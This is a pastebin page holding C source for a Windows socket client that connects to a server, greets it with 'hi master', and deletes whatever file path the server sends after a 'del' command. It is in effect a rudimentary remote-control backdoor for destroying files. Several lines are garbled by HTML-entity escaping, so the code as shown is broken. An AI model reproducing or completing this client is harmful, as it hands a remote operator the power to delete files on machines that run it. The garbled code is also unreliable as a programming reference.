Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as C by ant ( 16 years ago )
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <string.h>
#include <locale.h>
#include <winsock2.h>
#include <conio.h>
#include <windows.h>
#define PORT 688
#define SERVERADDR "127.0.0.1"
#define hs "hi master\n"
#define ds "deleted"
int main()
{
setlocale(LC_ALL,"RUSSIAN");
char buff[1024],path[100];
printf("Client\n");
if (WSAStartup(0x202,(WSADATA *)&buff;[0]))
{
printf("WSAStart error %d\n",WSAGetLastError());
return -1;
}
SOCKET new_socket;
new_socket=socket(AF_INET,SOCK_STREAM,0);
if (new_socket<0)
{
printf("Socket()error %d\n",WSAGetLastError());
return -1;
}
sockaddr_in dest_addr;
dest_addr.sin_family=AF_INET;
dest_addr.sin_port=htons(PORT);
HOSTENT *hst;
if (inet_addr(SERVERADDR)!=INADDR_NONE)
dest_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
else
if (hst=gethostbyname(SERVERADDR))
((unsigned long *) &dest;_addr.sin_addr) [0]=((unsigned long **)hst->h_addr_list)[0][0];
else
{
printf("invalid adress %s\n",SERVERADDR);
closesocket(new_socket);
WSACleanup();
return -1;
}
if (connect(new_socket,(sockaddr *) &dest;_addr,sizeof(dest_addr)))
{
printf("Connect error %d\n",WSAGetLastError());
return -1;
}
printf("Соединение с %s успешно установлено.\n\n",SERVERADDR);
send(new_socket,hs,sizeof(hs),0);
int nsize;
while((nsize=recv(new_socket, &buff;[0],sizeof(buff),0))!=SOCKET_ERROR)
{
//printf("комманда от сервера:%s\n",buff);
if ( (strncmp(buff,ds,3))==0 )
{
strcpy(&path;[0],&buff;[4]);
printf("%s",path);
DeleteFile(path);
send(new_socket,ds,sizeof(ds),0);
}
if (!strcmp(&buff;[0],"quit\n"))
{
closesocket(new_socket);
WSACleanup();
return 0;
}
else
send(new_socket,&buff;[0],sizeof(buff),0);
}
//printf("Recv error %d \n",WSAGetLastError());
closesocket(new_socket);
WSACleanup();
return -1;
}
Revise this Paste